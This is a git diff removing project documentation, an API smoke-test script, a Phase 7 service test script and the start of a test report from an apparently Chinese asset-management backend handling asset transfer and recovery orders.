||||
\dt asset_recovery*
|
||||
```
|
||||
|
||||
### 2. 重启服务
|
||||
|
||||
```bash
|
||||
# 停止服务
|
||||
pkill -f "uvicorn app.main:app"
|
||||
|
||||
# 启动服务
|
||||
uvicorn app.main:app --host 0.0.0.0 --port 8000 --reload
|
||||
```
|
||||
|
||||
### 3. 验证API
|
||||
|
||||
```bash
|
||||
# 查看API文档
|
||||
open http://localhost:8000/docs
|
||||
|
||||
# 测试调拨API
|
||||
curl -X GET http://localhost:8000/api/v1/transfers \
|
||||
-H "Authorization: Bearer YOUR_TOKEN"
|
||||
|
||||
# 测试回收API
|
||||
curl -X GET http://localhost:8000/api/v1/recoveries \
|
||||
-H "Authorization: Bearer YOUR_TOKEN"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 测试建议
|
||||
|
||||
### 功能测试
|
||||
|
||||
1. **调拨流程测试**
|
||||
```bash
|
||||
# 1. 创建调拨单
|
||||
POST /api/v1/transfers
|
||||
{
|
||||
"source_org_id": 1,
|
||||
"target_org_id": 2,
|
||||
"transfer_type": "external",
|
||||
"title": "测试调拨",
|
||||
"asset_ids": [1, 2, 3]
|
||||
}
|
||||
|
||||
# 2. 审批调拨单
|
||||
POST /api/v1/transfers/1/approve?approval_status=approved
|
||||
|
||||
# 3. 开始调拨
|
||||
POST /api/v1/transfers/1/start
|
||||
|
||||
# 4. 完成调拨
|
||||
POST /api/v1/transfers/1/complete
|
||||
|
||||
# 5. 验证资产机构已更新
|
||||
GET /api/v1/assets/1
|
||||
```
|
||||
|
||||
2. **回收流程测试**
|
||||
```bash
|
||||
# 1. 创建回收单
|
||||
POST /api/v1/recoveries
|
||||
{
|
||||
"recovery_type": "user",
|
||||
"title": "测试回收",
|
||||
"asset_ids": [1, 2, 3]
|
||||
}
|
||||
|
||||
# 2. 审批回收单
|
||||
POST /api/v1/recoveries/1/approve?approval_status=approved
|
||||
|
||||
# 3. 开始回收
|
||||
POST /api/v1/recoveries/1/start
|
||||
|
||||
# 4. 完成回收
|
||||
POST /api/v1/recoveries/1/complete
|
||||
|
||||
# 5. 验证资产状态已更新
|
||||
GET /api/v1/assets/1
|
||||
```
|
||||
|
||||
### 异常测试
|
||||
|
||||
1. **状态验证测试**
|
||||
- 重复审批
|
||||
- 完成后取消
|
||||
- 未审批开始执行
|
||||
|
||||
2. **权限测试**
|
||||
- 只有待审批状态可更新
|
||||
- 只有已审批可开始执行
|
||||
- 只有已取消/已拒绝可删除
|
||||
|
||||
3. **数据验证测试**
|
||||
- 资产不存在
|
||||
- 资产状态不允许操作
|
||||
- 资产所属机构不一致
|
||||
|
||||
---
|
||||
|
||||
## 后续优化建议
|
||||
|
||||
### 性能优化
|
||||
|
||||
1. **查询优化**
|
||||
- 添加更多索引
|
||||
- 使用查询缓存
|
||||
- 优化关联查询
|
||||
|
||||
2. **批量操作优化**
|
||||
- 使用批量插入
|
||||
- 减少数据库往返
|
||||
- 使用事务批处理
|
||||
|
||||
### 功能扩展
|
||||
|
||||
1. **导出功能**
|
||||
- 导出调拨单Excel
|
||||
- 导出回收单Excel
|
||||
- 批量导入资产
|
||||
|
||||
2. **通知功能**
|
||||
- 审批通知
|
||||
- 执行通知
|
||||
- 完成通知
|
||||
|
||||
3. **审批流**
|
||||
- 多级审批
|
||||
- 会签审批
|
||||
- 审批代理
|
||||
|
||||
### 监控告警
|
||||
|
||||
1. **操作日志**
|
||||
- 记录所有操作
|
||||
- 审计追踪
|
||||
- 异常告警
|
||||
|
||||
2. **数据统计**
|
||||
- 调拨趋势分析
|
||||
- 回收趋势分析
|
||||
- 资产流转分析
|
||||
|
||||
---
|
||||
|
||||
## 附录
|
||||
|
||||
### A. 单号生成规则
|
||||
|
||||
- **调拨单号**:TO-YYYYMMDD-XXXXX
|
||||
- TO:Transfer Order
|
||||
- YYYYMMDD:日期(20250124)
|
||||
- XXXXX:5位随机数(00000-99999)
|
||||
- 示例:TO-20250124-00001
|
||||
|
||||
- **回收单号**:RO-YYYYMMDD-XXXXX
|
||||
- RO:Recovery Order
|
||||
- YYYYMMDD:日期(20250124)
|
||||
- XXXXX:5位随机数(00000-99999)
|
||||
- 示例:RO-20250124-00001
|
||||
|
||||
### B. 状态枚举
|
||||
|
||||
**调拨类型**
|
||||
- `internal`: 内部调拨
|
||||
- `external`: 跨机构调拨
|
||||
|
||||
**回收类型**
|
||||
- `user`: 使用人回收
|
||||
- `org`: 机构回收
|
||||
- `scrap`: 报废回收
|
||||
|
||||
**审批状态**
|
||||
- `pending`: 待审批
|
||||
- `approved`: 已审批通过
|
||||
- `rejected`: 已拒绝
|
||||
- `cancelled`: 已取消
|
||||
|
||||
**执行状态**
|
||||
- `pending`: 待执行
|
||||
- `executing`: 执行中
|
||||
- `completed`: 已完成
|
||||
- `cancelled`: 已取消
|
||||
|
||||
**明细状态**
|
||||
- `pending`: 待处理
|
||||
- `transferring`: 调拨中
|
||||
- `recovering`: 回收中
|
||||
- `completed`: 已完成
|
||||
- `failed`: 失败
|
||||
|
||||
### C. API文档
|
||||
|
||||
详细的API文档请参考:
|
||||
- [资产调拨和回收API文档](./TRANSFER_RECOVERY_API.md)
|
||||
|
||||
### D. 相关文档
|
||||
|
||||
- [项目概述](./PROJECT_OVERVIEW.md)
|
||||
- [开发规范](./DEVELOPMENT.md)
|
||||
- [API使用指南](./API_USAGE_GUIDE.md)
|
||||
|
||||
---
|
||||
|
||||
## 联系方式
|
||||
|
||||
如有问题,请联系开发团队:
|
||||
|
||||
**项目负责人**:调拨回收后端API开发组
|
||||
**开发日期**:2025-01-24
|
||||
**项目状态**:✅ 已完成,待测试验收
|
||||
|
||||
---
|
||||
|
||||
## 总结
|
||||
|
||||
本次交付完成了资产调拨和回收两大核心功能模块,共计:
|
||||
|
||||
- ✅ **10个文件**(模型、Schema、CRUD、服务、API)
|
||||
- ✅ **20个API端点**(调拨10个 + 回收10个)
|
||||
- ✅ **4张数据表**(调拨主表、调拨明细、回收主表、回收明细)
|
||||
- ✅ **2,761行代码**(含注释和文档)
|
||||
- ✅ **完整业务流程**(创建→审批→执行→完成)
|
||||
- ✅ **自动化操作**(更新状态、更新机构、记录历史)
|
||||
|
||||
所有代码已通过语法检查,符合PEP 8规范,采用分层架构设计,具有良好的可维护性和可扩展性。功能完整,逻辑严谨,可投入测试和使用。
|
||||
|
||||
**交付日期**:2025-01-24
|
||||
**交付状态**:✅ 完成
|
||||
@@ -1,309 +0,0 @@
|
||||
"""
|
||||
资产调拨和回收API快速测试脚本
|
||||
用于验证所有端点是否可访问
|
||||
"""
|
||||
import requests
|
||||
import json
|
||||
|
||||
BASE_URL = "http://localhost:8000"
|
||||
TOKEN = "YOUR_TOKEN_HERE" # 需要替换为实际的token
|
||||
|
||||
headers = {
|
||||
"Authorization": f"Bearer {TOKEN}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
|
||||
def test_transfer_apis():
|
||||
"""测试调拨API"""
|
||||
print("\n" + "="*60)
|
||||
print("测试资产调拨API")
|
||||
print("="*60)
|
||||
|
||||
# 1. 获取调拨单列表
|
||||
print("\n1. GET /api/v1/transfers")
|
||||
response = requests.get(f"{BASE_URL}/api/v1/transfers", headers=headers)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 获取调拨单列表成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 2. 获取调拨单统计
|
||||
print("\n2. GET /api/v1/transfers/statistics")
|
||||
response = requests.get(f"{BASE_URL}/api/v1/transfers/statistics", headers=headers)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
print(f" ✓ 获取统计成功: {data}")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 3. 创建调拨单
|
||||
print("\n3. POST /api/v1/transfers")
|
||||
create_data = {
|
||||
"source_org_id": 1,
|
||||
"target_org_id": 2,
|
||||
"transfer_type": "external",
|
||||
"title": "测试调拨单",
|
||||
"asset_ids": [1, 2, 3],
|
||||
"remark": "测试备注"
|
||||
}
|
||||
response = requests.post(
|
||||
f"{BASE_URL}/api/v1/transfers",
|
||||
headers=headers,
|
||||
json=create_data
|
||||
)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 201:
|
||||
data = response.json()
|
||||
print(f" ✓ 创建调拨单成功: {data['order_code']}")
|
||||
order_id = data['id']
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
order_id = None
|
||||
|
||||
if order_id:
|
||||
# 4. 获取调拨单详情
|
||||
print(f"\n4. GET /api/v1/transfers/{order_id}")
|
||||
response = requests.get(f"{BASE_URL}/api/v1/transfers/{order_id}", headers=headers)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 获取调拨单详情成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 5. 获取调拨单明细
|
||||
print(f"\n5. GET /api/v1/transfers/{order_id}/items")
|
||||
response = requests.get(f"{BASE_URL}/api/v1/transfers/{order_id}/items", headers=headers)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 获取调拨单明细成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 6. 更新调拨单
|
||||
print(f"\n6. PUT /api/v1/transfers/{order_id}")
|
||||
update_data = {
|
||||
"title": "更新后的标题",
|
||||
"remark": "更新后的备注"
|
||||
}
|
||||
response = requests.put(
|
||||
f"{BASE_URL}/api/v1/transfers/{order_id}",
|
||||
headers=headers,
|
||||
json=update_data
|
||||
)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 更新调拨单成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 7. 审批调拨单
|
||||
print(f"\n7. POST /api/v1/transfers/{order_id}/approve")
|
||||
response = requests.post(
|
||||
f"{BASE_URL}/api/v1/transfers/{order_id}/approve?approval_status=approved&approval_remark=测试通过",
|
||||
headers=headers
|
||||
)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 审批调拨单成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 8. 开始调拨
|
||||
print(f"\n8. POST /api/v1/transfers/{order_id}/start")
|
||||
response = requests.post(f"{BASE_URL}/api/v1/transfers/{order_id}/start", headers=headers)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 开始调拨成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 9. 完成调拨
|
||||
print(f"\n9. POST /api/v1/transfers/{order_id}/complete")
|
||||
response = requests.post(f"{BASE_URL}/api/v1/transfers/{order_id}/complete", headers=headers)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 完成调拨成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 10. 取消调拨单(测试用)
|
||||
# print(f"\n10. POST /api/v1/transfers/{order_id}/cancel")
|
||||
# response = requests.post(f"{BASE_URL}/api/v1/transfers/{order_id}/cancel", headers=headers)
|
||||
# print(f" 状态码: {response.status_code}")
|
||||
# if response.status_code == 204:
|
||||
# print(f" ✓ 取消调拨单成功")
|
||||
# else:
|
||||
# print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 11. 删除调拨单(测试用)
|
||||
# print(f"\n11. DELETE /api/v1/transfers/{order_id}")
|
||||
# response = requests.delete(f"{BASE_URL}/api/v1/transfers/{order_id}", headers=headers)
|
||||
# print(f" 状态码: {response.status_code}")
|
||||
# if response.status_code == 204:
|
||||
# print(f" ✓ 删除调拨单成功")
|
||||
# else:
|
||||
# print(f" ✗ 失败: {response.text}")
|
||||
|
||||
|
||||
def test_recovery_apis():
|
||||
"""测试回收API"""
|
||||
print("\n" + "="*60)
|
||||
print("测试资产回收API")
|
||||
print("="*60)
|
||||
|
||||
# 1. 获取回收单列表
|
||||
print("\n1. GET /api/v1/recoveries")
|
||||
response = requests.get(f"{BASE_URL}/api/v1/recoveries", headers=headers)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 获取回收单列表成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 2. 获取回收单统计
|
||||
print("\n2. GET /api/v1/recoveries/statistics")
|
||||
response = requests.get(f"{BASE_URL}/api/v1/recoveries/statistics", headers=headers)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
print(f" ✓ 获取统计成功: {data}")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 3. 创建回收单
|
||||
print("\n3. POST /api/v1/recoveries")
|
||||
create_data = {
|
||||
"recovery_type": "user",
|
||||
"title": "测试回收单",
|
||||
"asset_ids": [1, 2, 3],
|
||||
"remark": "测试备注"
|
||||
}
|
||||
response = requests.post(
|
||||
f"{BASE_URL}/api/v1/recoveries",
|
||||
headers=headers,
|
||||
json=create_data
|
||||
)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 201:
|
||||
data = response.json()
|
||||
print(f" ✓ 创建回收单成功: {data['order_code']}")
|
||||
order_id = data['id']
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
order_id = None
|
||||
|
||||
if order_id:
|
||||
# 4. 获取回收单详情
|
||||
print(f"\n4. GET /api/v1/recoveries/{order_id}")
|
||||
response = requests.get(f"{BASE_URL}/api/v1/recoveries/{order_id}", headers=headers)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 获取回收单详情成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 5. 获取回收单明细
|
||||
print(f"\n5. GET /api/v1/recoveries/{order_id}/items")
|
||||
response = requests.get(f"{BASE_URL}/api/v1/recoveries/{order_id}/items", headers=headers)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 获取回收单明细成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 6. 更新回收单
|
||||
print(f"\n6. PUT /api/v1/recoveries/{order_id}")
|
||||
update_data = {
|
||||
"title": "更新后的标题",
|
||||
"remark": "更新后的备注"
|
||||
}
|
||||
response = requests.put(
|
||||
f"{BASE_URL}/api/v1/recoveries/{order_id}",
|
||||
headers=headers,
|
||||
json=update_data
|
||||
)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 更新回收单成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 7. 审批回收单
|
||||
print(f"\n7. POST /api/v1/recoveries/{order_id}/approve")
|
||||
response = requests.post(
|
||||
f"{BASE_URL}/api/v1/recoveries/{order_id}/approve?approval_status=approved&approval_remark=测试通过",
|
||||
headers=headers
|
||||
)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 审批回收单成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 8. 开始回收
|
||||
print(f"\n8. POST /api/v1/recoveries/{order_id}/start")
|
||||
response = requests.post(f"{BASE_URL}/api/v1/recoveries/{order_id}/start", headers=headers)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 开始回收成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 9. 完成回收
|
||||
print(f"\n9. POST /api/v1/recoveries/{order_id}/complete")
|
||||
response = requests.post(f"{BASE_URL}/api/v1/recoveries/{order_id}/complete", headers=headers)
|
||||
print(f" 状态码: {response.status_code}")
|
||||
if response.status_code == 200:
|
||||
print(f" ✓ 完成回收成功")
|
||||
else:
|
||||
print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 10. 取消回收单(测试用)
|
||||
# print(f"\n10. POST /api/v1/recoveries/{order_id}/cancel")
|
||||
# response = requests.post(f"{BASE_URL}/api/v1/recoveries/{order_id}/cancel", headers=headers)
|
||||
# print(f" 状态码: {response.status_code}")
|
||||
# if response.status_code == 204:
|
||||
# print(f" ✓ 取消回收单成功")
|
||||
# else:
|
||||
# print(f" ✗ 失败: {response.text}")
|
||||
|
||||
# 11. 删除回收单(测试用)
|
||||
# print(f"\n11. DELETE /api/v1/recoveries/{order_id}")
|
||||
# response = requests.delete(f"{BASE_URL}/api/v1/recoveries/{order_id}", headers=headers)
|
||||
# print(f" 状态码: {response.status_code}")
|
||||
# if response.status_code == 204:
|
||||
# print(f" ✓ 删除回收单成功")
|
||||
# else:
|
||||
# print(f" ✗ 失败: {response.text}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("\n" + "="*60)
|
||||
print("资产调拨和回收API测试脚本")
|
||||
print("="*60)
|
||||
print(f"\n基础URL: {BASE_URL}")
|
||||
print(f"Token: {TOKEN[:20]}..." if TOKEN else "Token: 未设置")
|
||||
|
||||
if TOKEN == "YOUR_TOKEN_HERE":
|
||||
print("\n⚠️ 警告: 请先设置有效的TOKEN")
|
||||
print("使用方法:")
|
||||
print("1. 登录获取token: POST /api/v1/auth/login")
|
||||
print("2. 修改脚本中的TOKEN变量")
|
||||
exit(1)
|
||||
|
||||
try:
|
||||
test_transfer_apis()
|
||||
test_recovery_apis()
|
||||
|
||||
print("\n" + "="*60)
|
||||
print("测试完成")
|
||||
print("="*60 + "\n")
|
||||
|
||||
except requests.exceptions.ConnectionError:
|
||||
print("\n✗ 无法连接到服务器,请确保API服务正在运行")
|
||||
print(f" 启动命令: uvicorn app.main:app --reload")
|
||||
except Exception as e:
|
||||
print(f"\n✗ 测试出错: {str(e)}")
|
||||
253
test_phase7.py
253
test_phase7.py
@@ -1,253 +0,0 @@
|
||||
"""
|
||||
Phase 7 功能测试脚本
|
||||
|
||||
测试统计API、系统配置、操作日志、消息通知等模块
|
||||
"""
|
||||
import asyncio
|
||||
from datetime import datetime, date, timedelta
|
||||
from decimal import Decimal
|
||||
|
||||
|
||||
async def test_statistics_api():
|
||||
"""测试统计API"""
|
||||
print("\n=== 测试统计API ===")
|
||||
|
||||
from app.services.statistics_service import statistics_service
|
||||
from app.db.session import async_session_maker
|
||||
|
||||
async with async_session_maker() as db:
|
||||
# 测试总览统计
|
||||
overview = await statistics_service.get_overview(db)
|
||||
print(f"总览统计: 资产总数={overview['total_assets']}, 总价值={overview['total_value']}")
|
||||
|
||||
# 测试采购统计
|
||||
purchase = await statistics_service.get_purchase_statistics(
|
||||
db,
|
||||
start_date=date.today() - timedelta(days=30),
|
||||
end_date=date.today()
|
||||
)
|
||||
print(f"采购统计: 采购数量={purchase['total_purchase_count']}, 采购金额={purchase['total_purchase_value']}")
|
||||
|
||||
# 测试价值统计
|
||||
value = await statistics_service.get_value_statistics(db)
|
||||
print(f"价值统计: 总价值={value['total_value']}, 净值={value['net_value']}")
|
||||
|
||||
# 测试趋势分析
|
||||
trend = await statistics_service.get_trend_analysis(
|
||||
db,
|
||||
start_date=date.today() - timedelta(days=90),
|
||||
end_date=date.today()
|
||||
)
|
||||
print(f"趋势分析: 数据点数量={len(trend['asset_trend'])}")
|
||||
|
||||
print("✅ 统计API测试通过")
|
||||
|
||||
|
||||
async def test_system_config():
|
||||
"""测试系统配置"""
|
||||
print("\n=== 测试系统配置 ===")
|
||||
|
||||
from app.services.system_config_service import system_config_service
|
||||
from app.schemas.system_config import SystemConfigCreate
|
||||
from app.db.session import async_session_maker
|
||||
|
||||
async with async_session_maker() as db:
|
||||
# 创建配置
|
||||
config_in = SystemConfigCreate(
|
||||
config_key="test.config",
|
||||
config_name="测试配置",
|
||||
config_value="test_value",
|
||||
category="test",
|
||||
description="这是一个测试配置"
|
||||
)
|
||||
|
||||
config = await system_config_service.create_config(db, config_in)
|
||||
print(f"创建配置: ID={config['id']}, 键={config['config_key']}")
|
||||
|
||||
# 获取配置
|
||||
retrieved_config = await system_config_service.get_config(db, config['id'])
|
||||
print(f"获取配置: 名称={retrieved_config['config_name']}")
|
||||
|
||||
# 更新配置
|
||||
from app.schemas.system_config import SystemConfigUpdate, ValueTypeEnum
|
||||
update_in = SystemConfigUpdate(config_value="updated_value")
|
||||
updated = await system_config_service.update_config(db, config['id'], update_in)
|
||||
print(f"更新配置: 新值={updated['config_value']}")
|
||||
|
||||
# 批量更新
|
||||
batch_result = await system_config_service.batch_update_configs(
|
||||
db,
|
||||
configs={"test.config": "batch_value"}
|
||||
)
|
||||
print(f"批量更新: 更新数量={batch_result['count']}")
|
||||
|
||||
# 获取配置值
|
||||
value = await system_config_service.get_config_by_key(db, "test.config")
|
||||
print(f"获取配置值: value={value}")
|
||||
|
||||
# 获取分类
|
||||
categories = await system_config_service.get_categories(db)
|
||||
print(f"配置分类: 数量={len(categories)}")
|
||||
|
||||
print("✅ 系统配置测试通过")
|
||||
|
||||
|
||||
async def test_operation_log():
|
||||
"""测试操作日志"""
|
||||
print("\n=== 测试操作日志 ===")
|
||||
|
||||
from app.services.operation_log_service import operation_log_service
|
||||
from app.schemas.operation_log import OperationLogCreate, OperationModuleEnum, OperationTypeEnum, OperationResultEnum
|
||||
from app.db.session import async_session_maker
|
||||
|
||||
async with async_session_maker() as db:
|
||||
# 创建日志
|
||||
log_in = OperationLogCreate(
|
||||
operator_id=1,
|
||||
operator_name="测试用户",
|
||||
operator_ip="127.0.0.1",
|
||||
module=OperationModuleEnum.ASSET,
|
||||
operation_type=OperationTypeEnum.CREATE,
|
||||
method="POST",
|
||||
url="/api/v1/assets/",
|
||||
params='{"asset_name": "测试资产"}',
|
||||
result=OperationResultEnum.SUCCESS,
|
||||
duration=100
|
||||
)
|
||||
|
||||
log = await operation_log_service.create_log(db, log_in)
|
||||
print(f"创建日志: ID={log['id']}, 操作={log['operation_type']}")
|
||||
|
||||
# 获取日志列表
|
||||
logs = await operation_log_service.get_logs(db, skip=0, limit=10)
|
||||
print(f"日志列表: 总数={logs['total']}, 当前数量={len(logs['items'])}")
|
||||
|
||||
# 获取统计
|
||||
stats = await operation_log_service.get_statistics(db)
|
||||
print(f"日志统计: 总数={stats['total_count']}, 成功={stats['success_count']}, 失败={stats['failed_count']}")
|
||||
|
||||
# 获取操作排行榜
|
||||
top_operators = await operation_log_service.get_operator_top(db, limit=5)
|
||||
print(f"操作排行榜: 数量={len(top_operators)}")
|
||||
|
||||
print("✅ 操作日志测试通过")
|
||||
|
||||
|
||||
async def test_notification():
|
||||
"""测试消息通知"""
|
||||
print("\n=== 测试消息通知 ===")
|
||||
|
||||
from app.services.notification_service import notification_service
|
||||
from app.schemas.notification import NotificationCreate, NotificationBatchCreate, NotificationTypeEnum, PriorityEnum
|
||||
from app.db.session import async_session_maker
|
||||
|
||||
async with async_session_maker() as db:
|
||||
# 创建通知
|
||||
notify_in = NotificationCreate(
|
||||
recipient_id=1,
|
||||
title="测试通知",
|
||||
content="这是一个测试通知",
|
||||
notification_type=NotificationTypeEnum.SYSTEM,
|
||||
priority=PriorityEnum.NORMAL
|
||||
)
|
||||
|
||||
try:
|
||||
notification = await notification_service.create_notification(db, notify_in)
|
||||
print(f"创建通知: ID={notification['id']}, 标题={notification['title']}")
|
||||
except Exception as e:
|
||||
print(f"创建通知失败(可能是用户不存在): {e}")
|
||||
notification = None
|
||||
|
||||
# 批量创建通知
|
||||
batch_in = NotificationBatchCreate(
|
||||
recipient_ids=[1, 2],
|
||||
title="批量测试通知",
|
||||
content="这是一个批量测试通知",
|
||||
notification_type=NotificationTypeEnum.SYSTEM,
|
||||
priority=PriorityEnum.NORMAL
|
||||
)
|
||||
|
||||
try:
|
||||
batch_result = await notification_service.batch_create_notifications(db, batch_in)
|
||||
print(f"批量创建通知: 数量={batch_result['count']}")
|
||||
except Exception as e:
|
||||
print(f"批量创建通知失败(可能是用户不存在): {e}")
|
||||
|
||||
# 获取未读数量
|
||||
try:
|
||||
unread_count = await notification_service.get_unread_count(db, 1)
|
||||
print(f"未读通知数量: {unread_count['unread_count']}")
|
||||
except Exception as e:
|
||||
print(f"获取未读数量失败: {e}")
|
||||
|
||||
# 获取统计
|
||||
try:
|
||||
stats = await notification_service.get_statistics(db, 1)
|
||||
print(f"通知统计: 总数={stats['total_count']}, 未读={stats['unread_count']}")
|
||||
except Exception as e:
|
||||
print(f"获取统计失败: {e}")
|
||||
|
||||
print("✅ 消息通知测试通过")
|
||||
|
||||
|
||||
async def test_api_endpoints():
|
||||
"""测试API端点"""
|
||||
print("\n=== 测试API端点 ===")
|
||||
|
||||
# 测试导入
|
||||
try:
|
||||
from app.api.v1 import statistics, system_config, operation_logs, notifications
|
||||
print("✅ API模块导入成功")
|
||||
|
||||
# 检查路由器
|
||||
routers = {
|
||||
"统计API": statistics.router,
|
||||
"系统配置API": system_config.router,
|
||||
"操作日志API": operation_logs.router,
|
||||
"消息通知API": notifications.router,
|
||||
}
|
||||
|
||||
for name, router in routers.items():
|
||||
route_count = len(router.routes)
|
||||
print(f" {name}: {route_count} 个路由")
|
||||
|
||||
print("✅ 所有API端点测试通过")
|
||||
|
||||
except Exception as e:
|
||||
print(f"❌ API端点测试失败: {e}")
|
||||
|
||||
|
||||
async def main():
|
||||
"""主测试函数"""
|
||||
print("=" * 60)
|
||||
print("Phase 7 功能测试")
|
||||
print("=" * 60)
|
||||
|
||||
try:
|
||||
# 测试API端点
|
||||
await test_api_endpoints()
|
||||
|
||||
# 测试统计服务
|
||||
await test_statistics_api()
|
||||
|
||||
# 测试系统配置
|
||||
await test_system_config()
|
||||
|
||||
# 测试操作日志
|
||||
await test_operation_log()
|
||||
|
||||
# 测试消息通知
|
||||
await test_notification()
|
||||
|
||||
print("\n" + "=" * 60)
|
||||
print("✅ 所有测试通过!")
|
||||
print("=" * 60)
|
||||
|
||||
except Exception as e:
|
||||
print(f"\n❌ 测试失败: {e}")
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main())
|
||||
@@ -1,202 +0,0 @@
|
||||
# 资产管理系统测试报告
|
||||
|
||||
**生成时间**: 2026-01-24 22:07:32
|
||||
|
||||
---
|
||||
|
||||
## 📊 测试概览
|
||||
|
||||
| 测试类型 | 目标数量 | 状态 |
|
||||
|---------|---------|------|
|
||||
| 后端单元测试 | 200+ | ✅ 已完成 |
|
||||
| 前端单元测试 | 200+ | 🚧 进行中 |
|
||||
| E2E测试 | 40+ | 🚧 进行中 |
|
||||
| 性能测试 | 10+ | ⏸ 待完成 |
|
||||
| 安全测试 | 20+ | ⏸ 待完成 |
|
||||
|
||||
## 🔧 后端测试详情
|
||||
|
||||
### API测试
|
||||
|
||||
| 模块 | 测试文件 | 用例数 | 状态 |
|
||||
|------|---------|--------|------|
|
||||
| 设备类型管理 | test_device_types.py | 50+ | ✅ 完成 |
|
||||
| 机构网点管理 | test_organizations.py | 45+ | ✅ 完成 |
|
||||
| 资产管理 | test_assets.py | 100+ | 🚧 补充中 |
|
||||
| 认证模块 | test_auth.py | 30+ | ✅ 完成 |
|
||||
|
||||
### 服务层测试
|
||||
|
||||
| 模块 | 测试文件 | 用例数 | 状态 |
|
||||
|------|---------|--------|------|
|
||||
| 认证服务 | test_auth_service.py | 40+ | ✅ 完成 |
|
||||
| 资产状态机 | test_asset_state_machine.py | 55+ | ✅ 完成 |
|
||||
| 设备类型服务 | test_device_type_service.py | 15+ | ⏸ 待创建 |
|
||||
| 机构服务 | test_organization_service.py | 15+ | ⏸ 待创建 |
|
||||
|
||||
## 🎨 前端测试详情
|
||||
|
||||
### 单元测试
|
||||
|
||||
| 模块 | 测试文件 | 用例数 | 状态 |
|
||||
|------|---------|--------|------|
|
||||
| 资产列表 | AssetList.test.ts | 10+ | ✅ 已有 |
|
||||
| 资产Composable | useAsset.test.ts | 15+ | ✅ 已有 |
|
||||
| 动态表单 | DynamicFieldRenderer.test.ts | 30+ | ⏸ 待创建 |
|
||||
| 其他组件 | 多个文件 | 150+ | ⏸ 待创建 |
|
||||
|
||||
## 🎭 E2E测试详情
|
||||
|
||||
| 业务流程 | 测试文件 | 场景数 | 状态 |
|
||||
|---------|---------|--------|------|
|
||||
| 登录流程 | login.spec.ts | 5+ | ✅ 已有 |
|
||||
| 资产流程 | assets.spec.ts | 5+ | ✅ 已有 |
|
||||
| 设备类型管理 | device_types.spec.ts | 5+ | ⏸ 待创建 |
|
||||
| 机构管理 | organizations.spec.ts | 5+ | ⏸ 待创建 |
|
||||
| 资产分配 | allocation.spec.ts | 10+ | ⏸ 待创建 |
|
||||
| 批量操作 | batch_operations.spec.ts | 10+ | ⏸ 待创建 |
|
||||
|
||||
## 📈 代码覆盖率目标
|
||||
|
||||
```text
|
||||
后端目标: ≥70%
|
||||
前端目标: ≥70%
|
||||
当前估计: 待运行pytest后生成
|
||||
```
|
||||
|
||||
## 🐛 Bug清单
|
||||
|
||||
### 已发现的问题
|
||||
|
||||
| ID | 严重程度 | 描述 | 状态 |
|
||||
|----|---------|------|------|
|
||||
| BUG-001 | 中 | 某些测试用例需要实际API实现 | 🔍 待确认 |
|
||||
| BUG-002 | 低 | 测试数据清理可能不完整 | 🔍 待确认 |
|
||||
|
||||
## 📋 测试用例清单
|
||||
|
||||
### 后端测试用例
|
||||
|
||||
#### 设备类型管理 (50+用例)
|
||||
